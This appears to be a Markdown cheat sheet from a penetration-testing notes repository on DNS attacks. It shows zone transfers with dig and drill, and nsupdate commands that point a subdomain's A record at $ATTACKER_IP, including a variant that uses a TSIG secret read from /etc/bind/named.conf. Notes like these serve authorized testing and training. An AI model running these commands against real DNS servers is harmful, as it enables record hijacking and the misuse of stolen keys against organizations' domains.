killchain-compendium/Enumeration/DNS.md

44 lines
1.1 KiB
Markdown
Raw Normal View History

2022-11-13 01:16:26 +01:00
# DNS
## Subdomain Enumeration
* Get all the info via
```sh
dig @$TARGET_DNS $DOMAIN axfr
drill @$TARGET_DNS $DOMAIN axfr
```
2023-08-09 21:50:10 +02:00
There is also [subrake](https://github.com/hash3liZer/Subrake.git) for sudbdomain enumeration.
A Subdomain Enumeration and Validation tool for Bug Bounty and Pentesters.
2022-11-13 01:16:26 +01:00
## Join a Domain
2023-08-09 21:50:10 +02:00
Join a windows domain by setting the A record to the attacker's IP, needs cert and Pk
2022-11-13 01:16:26 +01:00
```sh
nsupdate
server <DNS-IP>
update delete <sub.domain.com>
update add <sub.domain.com> 1234 A $ATTACKER_IP
send
quit
```
2023-08-09 21:50:10 +02:00
Afterwards, check the domain by querying the subdomain's A record via dig/drill/nslookup.
2023-05-12 19:15:13 +02:00
### Found Secrets for Keys
2023-08-09 21:50:10 +02:00
Sometimes secrets can be found secret like a key, for example in `/etc/bind/named.conf`. This secret can be used to join the domain.
2023-05-12 19:15:13 +02:00
```sh
nsupdate -d -y <hash algorithm>:<name of the key>:<secret>
Creating key...
namefromtext
keycreate
server <domain>
2023-08-09 21:50:10 +02:00
update add <subdomain>.<toplevel-domain>. 86400 IN A $ATTACKER_IP
2023-05-12 19:15:13 +02:00
send
```
2023-08-09 21:50:10 +02:00
*Hint*: Copy the lines, every space counts as it has to be exactly like in the example
2023-05-12 19:15:13 +02:00